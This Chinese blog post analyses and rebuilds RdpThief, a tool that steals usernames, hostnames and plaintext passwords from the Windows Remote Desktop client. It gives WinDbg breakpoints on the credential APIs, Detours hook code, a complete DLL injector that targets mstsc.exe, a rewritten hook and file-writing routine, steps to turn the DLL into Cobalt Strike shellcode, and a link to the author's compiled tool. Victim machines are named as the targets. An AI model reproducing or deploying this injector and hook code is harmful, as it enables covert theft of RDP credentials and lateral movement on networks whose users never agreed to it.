对获取 rdp 密码的小工具 RdpThief 的一次深究

RdpThief 是一个可以获取rdp密码的工具

0x01 前言

RdpThief 其实一个老工具了(19年的),奈何我太菜了,最近才发现,所以今天还是老样子,咱们继续分析一下工具原理。大佬请绕路!!

本人知识有限,如果有错误的地方,请各位大佬指出!

0x02 复现

首先,肯定是先复现一波。去 https://github.com/0x09AL/RdpThief 把仓库下载下来

然后把RdpThief_x64.tmpRdpThief.cna放到 cs 服务端的scripts目录下,然后用 cs 的脚本管理器加载RdpThief.cna插件就行,这个我就不截图了。。

然后就是根据 README 所说的,rdpthief_enable启动,等待受害机器打开mstsc远程连接别的机器。当看到Tasked beacon to inject...,接着输rdpthief_dump就可以看到主机+账号+密码了

下图虽然有很多方框,但是勉强还是能看到内容的。此外,我们仔细观察会发现,第二段的 server 是乱码。。

0x03 分析准备

测试环境:两台 win10

用到的工具:

首先打开 API Monitor,在API Filter->Capture,把所有项都勾上

同时,在API Filter->Display增加一项,把 DLLMAIN动态链接库入口函数隐藏掉,如下:

接着我们Win+R打开运行窗口,输入mstsc打开远程桌面连接

然后回到 API Monitor,在Running Processes窗口找到刚刚打开的mstsc.exe进程,右键->Start Monitoring

接着展开Monitored Processes窗口下的mstsc.exe进程->Modules->mstsc.exe,如下图:

其实这里直接双击Monitored Processes窗口下的mstsc.exe进程,在这里直接搜索就行。

然后回到远程桌面连接,输入要远程的机器ip+用户名+密码

成功连接之后,API Monitor 要抓的数据已经齐全,因此准备工作到此结束。接下来是开始分析了。

0x04 分析

1. 拦截用户名

mstsc.exe下搜索刚刚登录的用户名root,如下图:

可以看到,我们的用户名出现在Advapi32.dll下的CredIsMarshaledCredentialW函数的第一个参数LPTSTR里面。

接下来用 WinDBG 调试一下,直接附加(Attach)mstsc.exe

ADVAPI32.dll下的CredIsMarshaledCredentialW函数上打断点,并且输出 rcx 寄存器的内容

bp ADVAPI32!CredIsMarshaledCredentialW "du @rcx"

为啥要查看rcx寄存器的内容呢?这里涉及一个函数调用规定-- fast call:一个函数在调用时,前四个参数是从左至右依次存放于RCXRDXR8R9寄存器里面
而,通过API Monitor 我们已经得知,CredIsMarshaledCredentialW函数只有一个参数,因此其值会放在rcx寄存器中

如果我们现在直接打断点,会出现错误如下:

这是为啥呢?为啥找不到这个函数呢?我首先怀疑的是符号表没有加载好。

lm m ADVAPI32

发现已经加载了,那就是函数名字变了,于是我用*模糊搜一下

x ADVAPI32!CredIsMarshaled*

发现函数名字改了。。。根本不是CredIsMarshaledCredentialW,看来API Monitor还是有点问题的。现在不太确定是哪个函数,没关系,两个都打上断点试试

bp ADVAPI32!CredIsMarshaledCredentialA "du @rcx"
bp ADVAPI32!CredIsMarshaledCredentialWStub "du @rcx"

然后按F5或者点击如图的图标或者在命令窗口输入g运行

点击连接,输入密码,触发断点。

发现断点断在了ADVAPI32!CredIsMarshaledCredentialWStub,且用户名打印了出来

至于为啥要看 rcx,上面已经解释了,fast call的原因,第一个参数放在rcx上。当然,我们也可以很暴力的,直接把 rcx 寄存器所在的内存打印出来看看就知道了

db rcx

ok,用户名到手!

2. 拦截主机名

接下来是主机名,回到API Monitor,同样还是module下的mstsc.exe

从上图可知,主机名出现在了Advapi32.dll下的CredReadW函数的第一个参数上。继续搜搜

发现主机名也出现在了SspiCli.dll下的SspiPrepareForCredRead函数的第二个参数上。

WinDBG走起,为了下面方便,把刚刚设置的断点给关掉先,也可以直接Debug->Restart,简单粗暴

bl  # 列出断点
bd 0 # 禁用0号断点
bd 1 # 禁用1号断点

直接点图中的Disable或者Clear也行

有了刚刚的错误经验,我们可以先看看

x ADVAPI32!CredRead*

果然变了,打上断点,g运行,然后点击连接,触发断点

bp ADVAPI32!CredReadWStub "du @rcx"

发现啥也没有,输入g,再次运行,又触发了断点,这次有内容了。

同样地,为啥看 rcx,因为是第一个参数,打印一下即可,这里发现,rcx 和 rbx 都有

再看看第二个函数SspiPrepareForCredRead,因为是第二个参数,所以这里打印rbx,同时记得把刚刚的断点禁用掉。

bp SSPICLI!SspiPrepareForCredRead "du @rdx"

ok,主机名到此为止。

3. 密码

接下来就是密码了。对于 Windows 的应用程序来说,如果内存中有一些敏感数据需要加解密,可以使用 DPAPI(数据加密保护接口)。DPAPI 是Windows系统级对数据进行加解密的一种接口。具体可以参考:https://blog.csdn.net/xiaoqing_2014/article/details/79546957 。基于这个前提,我们可以简单的认为(我猜Rio也是这样想的),rdp登录的密码,也会用到它,即加解密内存的接口CryptProtectMemoryCryptUnprotectMemory

直接双击Monitored Processes窗口下的mstsc.exe进程,直接搜CryptProtectMemory,找到调用。

首先是把用户名丢过去加密了。

然后才是我们需要的密码。

这个密码直接搜是搜不到的。。

由上图得知,我们的密码确实出现在Crypt32.dll下的CryptProtectMemory的第一个参数pData里面,直接上 WinDbg 打断点。

bp crypt32!cryptprotectmemory

无法识别,如下图

老规矩,模糊搜一下,发现只有一个CryptProtectData,那还等啥,直接打断点

x crypt32!CryptProtect*
bp CRYPT32!CryptProtectData

输入g,连接,输密码,直接连上了。。。。

为啥没有停在断点上????是不是我操作出错了???然后我重新试了一下,发现还是没有停下来。

先思考一下没有停下来的原因。回忆一下刚刚的流程:本来我们应该要给crypt32!cryptprotectmemory打断点,但是找不到,所以我们模糊搜了下,发现只有crypt32!CryptProtectData有点类似,所以给它打断点了,最后运行的时候没有停下来。说明这个有点类似的函数crypt32!CryptProtectData根本不是 API Monitor 中提到的函数,所以现在的解决思路就是,找一下crypt32!cryptprotectmemory函数,到底是不是在crypt32模块中。

于是我决定,找官方文档:https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory

官方文档也是说这个函数在Crypt32.dll里面。

因此,我不得不搬出神器:https://github.com/strontic/xcyclopedia , 它的网页版在 https://strontic.github.io/ ,在上面搜 CryptProtectMemory,发现,该函数除了在crypt32.dll有,在dpapi.dll里面也有。

点开 https://strontic.github.io/xcyclopedia/library/dpapi.dll-BC3EF1D4F109A82BDFE085604B822517.html 看一下,它已经作为dpapi.dll的导出函数了。。。

不多bb,WinDbg 直接Ctrl+Shift+F5重启,打断点

bp dpapi!cryptprotectmemory

发现还是报错。模糊搜一下 :

x DPAPI!crypt*

发现连DPAPI 模块都没有识别出来,查一下模块加载

lm m DPAPI

果然这个DPAPI.dll还没加载,对于没有加载的模块,打断点,我们都是用bu预加载代替bp

实际上,bp打断点没有找到的话,会自动转换成bu,这里之前已经用bp打过断点了,所以这里就不再用bu打了

bu dpapi!cryptprotectmemory

打完断点后,g运行,连接,输密码,停在了dpapi!CryptProtectMemory

此时我们查看一下rcx(第一个参数)的内容,发现里面出现了用户名,对应上了刚刚 API Monitor 中看到的,第一次是加密用户名。

接下来输入g继续运行,再查看一下rcx的内容,终于看到了我们梦寐以求的密码了

可以看到前面有4个字节的内容我们是用不到的,所以可以跳过这四个字节,直接显示密码

du @rcx+4

当然,我们也得搞懂,这4个字节代表啥,直接访问官方文档 https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory ,查看第一个参数的含义。里面该参数里面还有个cbData,用于指定将被加密的字节数,所以这四个字节,就是存要加密的密码的字节数的。

至此,密码到手。

4. 小结

综上,我们会用到以下的 API:

  • CredIsMarshaledCredentialWStub --> 用户名
  • CredReadWStub/SspiPrepareForCredRead --> 主机名
  • CryptProtectMemory --> 密码

0x05 RdpThief

detours 的简单使用

分析了这么久,终于要开始研究大佬写的 RdpThief 了,因为 RdpThief 使用 detours 库开发的,所以这里简单提一下该库的使用。具体可以看链接: https://blog.csdn.net/z971130192/article/details/100565398

直接上Github下载:https://github.com/microsoft/detours

下面就可以开始编译工作了。

解压后的文件夹应该如下图所示:

然后,在开始菜单中找到x64 Native Tools Command Prompt for VS 2019x86 Native Tools Command Prompt for VS 2019,这两个可以分别用来编译64位和32位的Detours,如下图所示。

下面就简单了,以x64 Native Tools Command Prompt for VS 2019为例,定位路径到解压的 Detours 文件夹的 src 目录下,然后使用 nmake 编译,编译完成后,会在根目录生成bin.X64lib.X64include这三个文件夹,如图所示:

cd src
nmake /f Makefile

接着我们新建一个vs项目,右键项目->属性

配置属性->VC++目录,把刚刚生成的include目录加到包含目录里面,lib.X64目录加到库目录里面

然后我们写一个测试代码了,如下:

#define _CRT_SECURE_NO_DEPRECATE

#include <iostream>
#include <windows.h>

// 关键是这两行,导入 detours
#include "detours.h"
#pragma comment(lib, "detours.lib")

using namespace std;

int (WINAPI* Old_MessageBoxW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBoxW;

int WINAPI New_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
    // 这里可以做任意的操作
    return Old_MessageBoxW(NULL, L"Hooked MessageBoxW content", L"Hooked MessageBoxW title", NULL);
}

void Hook()
{
    DetourTransactionBegin();                                   // 开始一个事务,拦截开始
    DetourUpdateThread(GetCurrentThread());                     // 更新当前线程
    DetourAttach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);    // 将拦截的函数 New_MessageBoxW 附加到原函数 Old_MessageBoxW 的地址上
    DetourTransactionCommit();                                  // 提交事务,拦截生效
}

void DeHook()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);    // 解除 Hook ,将拦截的函数从原函数的地址解除
    DetourTransactionCommit();
}

int main()
{
    // 先调用一下原来的函数
    MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
    // hook之后再调用
    Hook();
    MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
    // unhook 之后再调用
    DeHook();
    MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
    return 0;
}

效果如下:

可能有些同学会好奇,代码中定义的这个MessageBoxW函数的函数指针是怎么拿到的,很简单,代码中调用一下MessageBoxW,然后右键 -> 转到定义

就可以看到定义了。

重新编译 RdpThief

在了解完 detours 库的简单使用之后,我们开始研究 RdpThief 的代码。

先把代码下载下来,然后用 vs 新建一个动态链接库(DLL)

RdpThief.cpp直接拖进 vs 的项目中,并且把原来vs的项目中的dllmain.cpp文件删掉,同时把RdpThief.cpp代码中的#include "stdafx.h"改成#include "pch.h",并加一行#pragma comment(lib, "detours.lib")如下:

stdafx.h包含了targetver.htargetver.h里面又包含了SDKDDKVer.h,这玩意给老版本的 windows 用的,包不包含其实问题不大,这里我就不管了。

因为还没配置 detours,所以会报错。首先选择一下版本和平台。

然后按照上面小节中的,配置 detours 的过程配置一下就行,如下:

配置完后,就不会报错了。现在就可以选择生成->重新生成解决方案来生成dll了

因为我选择了ReleaseX64,所以生成的 dll 在代码文件夹下的 x64 -> Release

测试 RdpThief.dll 是否可用

生成了 dll 之后,我们得测试一下,这玩意能不能用。怎么测试呢?把 dll 注入到mstsc.exe进程中就行。好啦,接下来这部分的内容就是dll注入的内容了。

因为dll注入不是本文的重点,所以这里不会详细讲解,只列出大概的注入过程,有机会的话,后面我们可以仔细探讨一下。

  1. 打开进程句柄
  2. 分配一块可读写的内存空间
  3. 将所需DLL的路径写入内存
  4. 获得LoadLibraryA函数地址
  5. 通过远程线程执行LoadLibraryA函数,并且指定参数为DLL路径的内存地址

这里多了一个getPPID函数,主要用于根据进程名,自动获取进程id,懒得每次手动输入 mstsc.exe 的 pid 了。

#define _CRT_SECURE_NO_DEPRECATE

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

// 根据进程名,获取进程id
DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {
    HANDLE processHandle;
    PVOID remoteBuffer;
    // 修改这里的dll路径
    wchar_t dllPath[] = TEXT("E:\\code\\RdpThief\\x64\\Release\\RdpThief.dll");

    LPCWSTR parentProcess = L"mstsc.exe";
    DWORD parentPID = getPPID(parentProcess);

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

先打开win+r->mstsc打开远程桌面,然后运行上面代码,运行结束后,再点连接输入密码。连接成功后,在temp目录下就可以看到生成的data.bin

win+r,输入%temp%可以打开临时目录。因为RdpThief.dll把抓到的账号密码放到了临时目录下的data.bin,所以我们要看这里。

ok,至此,我们已经知道怎么测试 RdpThief.dll 了。

修改 RdpThief

所以,接下来就是修改 RdpThief 了。RdpThief 使用把SspiPrepareForCredRead拦截主机名,这里把 SspiPrepareForCredRead 修改成 CredReadWStub 拦截主机名。

还记得之前我们咋找到 MessageBoxW 的定义吗?这里也一样,随便找个地方,直接输入CredReadWStub,尴尬的是,只有CredReadW没有CredReadWStub,这点倒是和WinDbg中的不一样,和 API Monitor中的一样。确实把我搞蒙了,如果有大佬知道,麻烦告知一下。

那既然没有CredReadWStub,那就用CredReadW呗,右键->转到定义,拿到了如下的定义。

WINADVAPI
BOOL
WINAPI
CredReadW (
    _In_ LPCWSTR TargetName,
    _In_ DWORD Type,
    _Reserved_ DWORD Flags,
    _Out_ PCREDENTIALW *Credential
    );

所以简单改改,函数指针就有了。

static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;

然后仿造这个函数声明,定义一个HookedCredReadW函数,函数里面只把参数TargetName赋值给全局变量lpServer就行。整体如下:

这个全局变量就是之后写入文件中的主机名了

static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;

BOOL HookedCredReadW(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential)
{
    // 拿到主机名
    lpServer = TargetName;
    // 其他不变,调用原来的函数
    return OriginalCredReadW(TargetName, Type, Flags, Credential);
}

当然,我们需要注册新的 hook HookedCredReadW 并取消注册旧的 hook _SspiPrepareForCredRead

DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);

DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);

重新生成dll,并按照上一小节的测试过程,重新测试一遍,可以看到效果一致

记得把原来的 data.bin 删了

看一下代码

其实整体代码,唯一有点小疑问的,就是CryptProtectMemory的 hook 函数那里,第一个参数pDataIn的地址,为啥要+0x1

其实仔细想想,我们之前分析的时候,第一个参数 pDataIn里面,前四个字节是cbData,4个字节,不正正好是偏移一个地址吗?所以这个+0x1刚刚好。

0x06 cna插件

根据作者在文章 https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/ 中提到的,可以用 https://github.com/monoxgas/sRDI 把 dll 转换成 shellcode,让cs加载。

具体就是把sRDI 仓库下载下来后,进入其python文件夹,运行以下命令,然后把生成的RdpThief.bin改名成RdpThief_x64.tmp

python3 ConvertToShellcode.py RdpThief.dll

然后放在cs 服务端下,加载插件就行,具体可以参看《0x02 复现》那一小节。从下图可以看出来,我们自己编译的dll,转换成的shellcode,cs可以正常加载,并且能成功拿到密码。

0x07 解决方框问题

rdpthief_dump命令,实际上是用 type 命令读取%temp%\data.bin,会出现方框,肯定是编码的问题

原来的写文件代码如下:

VOID WriteCredentials() {
    const DWORD cbBuffer = 1024;
    TCHAR TempFolder[MAX_PATH];
    GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH);
    TCHAR Path[MAX_PATH];
    StringCbPrintf(Path, MAX_PATH, L"%s\\data.bin", TempFolder);
    HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA,  0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WCHAR  DataBuffer[cbBuffer];
    memset(DataBuffer, 0x00, cbBuffer);
    DWORD dwBytesWritten = 0;
    StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n",lpServer, lpUsername, lpTempPassword);

    WriteFile(hFile, DataBuffer, wcslen(DataBuffer)*2, &dwBytesWritten, NULL);
    CloseHandle(hFile);
}

它使用 unicode(wchar)编码的,所以我们可以考虑,把 wchar 转成 char 试试。

直接修改RdpThief.cpp,首先增加三行代码,因为用到了stringofstream

#include <iostream>
#include <fstream>
using namespace std;

然后增加一个 wchar 转 char 的方法,这里用到了WideCharToMultiByte 函数

char* UnicodeToChar(LPCWSTR unicode_str)
{
    int num = WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, NULL, 0, NULL, FALSE);
    char* pchar = (char*)malloc(num);
    WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, pchar, num, NULL, FALSE);
    return pchar;
}

剩下的就是写文件了,先把原来的WriteCredentials方法注释掉,然后加入以下的方法。

VOID WriteCredentials() 
{
    // 获取临时目录,并转换成char*
    TCHAR wtempPath[MAX_PATH];
    DWORD dwSize = 50;
    GetTempPath(dwSize, wtempPath);
    char tempPath[MAX_PATH];
    wcstombs(tempPath, wtempPath, wcslen(wtempPath) + 1);

    string temp_path(&tempPath[0], &tempPath[strlen(tempPath)]);

    // 打开临时文件
    ofstream f_temp(temp_path + "data.bin");
    if (f_temp) {
        f_temp << "Server: " << UnicodeToChar(lpServer) << "\nUsername:" << UnicodeToChar(lpUsername) << "\nPassword: " << UnicodeToChar(lpTempPassword) << "\n\n";
    }
    f_temp.close();
}

因为这里用了wcstombs,vs 可能会报错如下:

'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

找到项目属性-> 配置属性->C++里的预处理器定义,在里面加入一段代码:_CRT_SECURE_NO_WARNINGS即可。

然后重新打包成dll,测试一波,没毛病

这里我测试的时候,生成的文件是 temp_out.txt 而不是 data.bin

然后就是老规矩,用 sRDI 把dll转成 shellcode,丢给cs试试,也没问题

origin_img_v2_a63b5a1e-15a5-42ac-a900-79f6e7c3fcfg

后面测试发现,主机名+账号+密码,有时候能够完整的获取到,有时候又不行,直接是乱码,最后我是在没辙了,把原来的方法改成WriteCredentials_bak,放到我新的方法后面再调一遍,别问为什么,问就是两种编码结合,稳。

0x08 解决 win7 无法使用问题

win7 系统下,一注入dll,mstsc.exe 就会崩溃。。。解决方法如下:

项目->属性->配置属性->C/C++ -> 代码生成,把运行库从多线程DLL(/MD)改成多线程(/MT)即可

结果如下:

0x09 福利时间

老样子,所用到的代码,和编译后的,都丢到了 Github:https://github.com/fengwenhua/RdpThief ,自取。

0x0a 后言

本文有两个小尾巴其实没有完全解决,不过,先留着吧,以后随着技术提高,我相信我会搞明白的。

  1. API Monitor 和 WinDbg 和 VS 里面,函数名不一样,这到底为啥??
  2. cs 插件加载后,获取到的数据,有时候会乱码,这又是为啥??

0x0b 参考链接

https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling

https://github.com/0x09AL/RdpThief

都看到这里了,不管你是直接拉到底的,还是看到底的,要不辛苦一下,给点个推荐呗?

  • 发表于 2022-01-04 09:43:15
  • 阅读 ( 10797 )
  • 分类:内网渗透

0 条评论

请先 登录 后评论
江南小虫虫
江南小虫虫

5 篇文章

站长统计